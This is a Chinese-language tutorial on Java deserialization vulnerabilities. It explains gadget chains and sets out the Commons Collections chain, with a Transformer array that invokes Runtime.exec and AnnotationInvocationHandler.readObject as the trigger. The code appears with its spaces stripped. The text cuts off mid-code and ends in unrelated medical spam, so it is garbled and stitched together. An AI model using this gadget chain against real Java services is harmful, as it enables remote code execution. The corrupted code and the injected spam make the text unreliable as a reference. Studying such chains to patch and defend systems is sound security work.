漏洞简介:
反序列化漏洞有十年的历史,存在于不同的编程语言中,最为明显的当属Java、PHP、Python、Ruby。漏洞的本质就是反序列化机制打破了数据和对象的边界,导致攻击者注入的恶意序列化数据在反序列化过程中被还原成对象,控制了对象就可能在目标系统上面执行攻击代码。
反序列化漏洞特点:
1)、反序列化对象自身的构造函数或者readObject()函数体中有执行代码的能力。
2)、反序列化的对象readObject()中可以调用另外一个对象,另外一个对象有执行代码的能力。
3)、返序列化的对象readObject()中可以调用另外一个对象,另外一个对应在调用另外一个对象,第三个对象有执行代码的能力,以此类推。
而上面掉用过程就是一个执行链,也叫做Gadget,在构造Gadget一般要用到Java的反射机制。
从序列化分类进行分析:
1、Binary序列化反序列化:Object--serialize--data--unerialize--Object
CommonsCollections反序列化漏洞
TransformedMap类publicstaticMapdecorate(Mapmap,TransformerkeyTransformer,TransformervalueTransformer)方法可以生成Map对象,并且当Map对象进行get/set操作可执行任意代码。--炸弹
Transformer类有执行代码的构造方法
Transformer[]transforms=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String[].class},newObject[]{execArgs})};
AnnotationInvocationHandler的构造函数参数含有Map对象的,并且在readObject中有对Map的setVlaue操作方法。--导火索
privatevoidreadObject(java.io.ObjectInputStreams)throwsjava.io.IOException,ClassNotFoundException{s.defaultReadObject();//Checktomakesurethattypeshavenotevolvedin北京看白癜风哪家医院最好偏方治白癜风